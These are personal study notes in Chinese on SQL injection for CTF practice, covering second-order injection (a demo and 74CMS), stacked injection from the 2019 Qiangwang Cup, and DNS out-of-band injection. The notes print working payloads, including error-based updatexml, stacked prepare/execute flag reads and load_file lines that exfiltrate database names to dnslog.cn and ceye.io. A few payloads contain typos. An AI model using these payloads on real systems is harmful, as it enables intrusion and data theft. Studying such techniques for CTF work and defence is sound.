知识点

CTF常考这俩 PHP-MYSQL-SQL注入

1、二次注入&利用条件

2、堆叠注入&利用条件

3、带外注入&利用条件

演示案例

PHP-MYSQL-二次注入-DEMO&74CMS

PHP-MYSQL-堆叠注入-DEMO&CTF强网

PHP-MYSQL-带外注入-DEMO&DNSLOG

其他文章

学习笔记-渗透测试-SQL注入_008_二次注入 - kinghtxg - 博客园

SQL注入防御绕过——二次注入 - 简书

【新手初学】SQL注入之二次注入、中转注入_中转注入实战mysql-CSDN博客

一、二次注入-DEMO&74CMS

1、案例

(1)DEMO-用户注册登录修改密码

(2)CMS-74CMS个人中心简历功能(创建简历就是插入,简历展示显示真实信息)

2、思路

黑盒思路:分析功能有添加后对数据操作的地方(功能点)

白盒思路:insert后进入select或update的功能的代码块

3、注入条件

插入时有转义函数(代码才能看到)或配置,后续有利用插入的数据(利用点在哪)(能不能用报错注入)

4、实战

实际中很难找到二次注入点,大部分都是源码审计出来,原因是不知道对方源码逻辑

5、二次注入原理,主要分为两步

第一步:插入恶意数据

第一次进行数据库插入数据的时候仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。

第二步:引用恶意数据

在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入,

6、案例:注册用户

用户名:xiaozhu

密码:123456

修改用户密码

1、没登录时修改-肯定获取你要修改的用户名(由你输入的)

2、登录后的修改-修改过程就直接验证旧密码和接受新密码

思考

一般他会要你输入你的用户名吗?

用户名从那里来 ?

用户名能有空格?

设置长度限制?----->前端限制则js修改

获取当前你登录的用户名当做修改条件

update users set password='a123456' where username='xiaozhu'

如果此用户名在注册的时候是一个有SOL注入的字符串 那不就SOL注入了吗

总结:

我现在是登录状态,用户名为注入语句,然后修改密码,过程中会拼接用户名,也就是注入语句,产生二次注入

7、前提:

插入数据时必须对语句要有转义,比如#注释(注释后面的语句),'单引号闭合前面语句,这样才能正确写入,随后才能进行注入

如:

1、addslashes() 对单引号进行转义

2、魔术引号开关转义magic_quotes_gpc

单独使用是为了防止sql注入,但是二次注入又非他不行,这波相生相克

原理再分析:注册用户

(1)源码插入语句

INSERT INTO users (username, password) VALUES('$username','$password')

(2)我们要一次注入的语句,也就是用户名

admin'and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#

(3)闭合单引号才能一次注入(用户名不可能都是数字 字符串 必定S0L语句是用单引号括起来的)如

SELECT * FROM users WHERE username='admin’ and updatexml(1,concat(0x7e,(SELEcT version()).0x7e),1)#

(4)用户名必须

admin' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#

(5)如果没有对输入的单引号或者#进行转义,则无法进行二次注入

SELECT * FROM users WHERE username = 'admin and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)'

二、堆叠注入-DEMO&CTF强网

1、堆叠注入简介

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行

执行多个sql语句函数,mysqli_multi_query

危害:想要什么就写什么语句

2、触发条件:

(1)目标存在sql注入漏洞

(2)目标未对";"号进行过滤

(3)目标中间层查询数据库信息时可同时执行多条sq1语句

支持堆叠数据库:MYSQL MSSQL Postgresql等

3、CTF赛题

2019强网杯-随便注(CTF题型)

';show databases;

';show tables;

';show columns from `1919810931114514`;

';select flag from `1919810931114514`;

';SeT

@a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;

三、带外注入-DEMO&DNSLOG

0、注入条件

ROOT高权限且支持load_file()读取文件,写入路径 secure-file-priv=

1、解决问题

部分注入点没有回显。所以读取也是没回显的,采用带外,正反向

其实都能loadfile写文件了,就没必要带外,面试会问到

2、使用平台

http://ceye.io

http://www.dnslog.cn

3、带外应用场景

解决不回显,反向连接,SQL注入,命令执行,SSRF等,内网渗透正反向

补充:

走的dns协议 我们配置的都是运营商的dns,remote addr不一样,必须支持协议才能外带

4、SQL注入

select load_file(concat('\\\\'(select database())'.7logee.dnslog.cn\\aa'));

and(select load_file(concat('//',(select database()),'.69knl9.dnslog.cn/abc')))

//查询当前数据库

id=1 and

load_file(concat ("\\\\",database(),".dbuh8a.ceye.io\\xxx.txt"))

//查询其他数据库

id=1 and load_file(concat("\\\\",(select schema_name from information_schema.schemata limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))

"""

由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数

limit 0,1 查询第一个数据库名

limit 1,1 查询第二个数据库名

limit 2,1 查询第三个数据库名

"""

//查询版本号

id=l and

load_file(conçat("\\\\",version(),".dbuh8a.ceye.io\\xxx.txt"))

//查询当前数据库demo01中第一个表名

id=l and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='demo0l' limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))

小结

带外那边语句有些迷糊,感觉逻辑还是要多刷题才熟悉,比赛可以学学这些

后面工作了就没必要了

欢迎来访 这是我的小窝~ 网安弱鸡 健身屌丝 好不容易搭出来的 大佬略过我
最后更新于 2025-09-11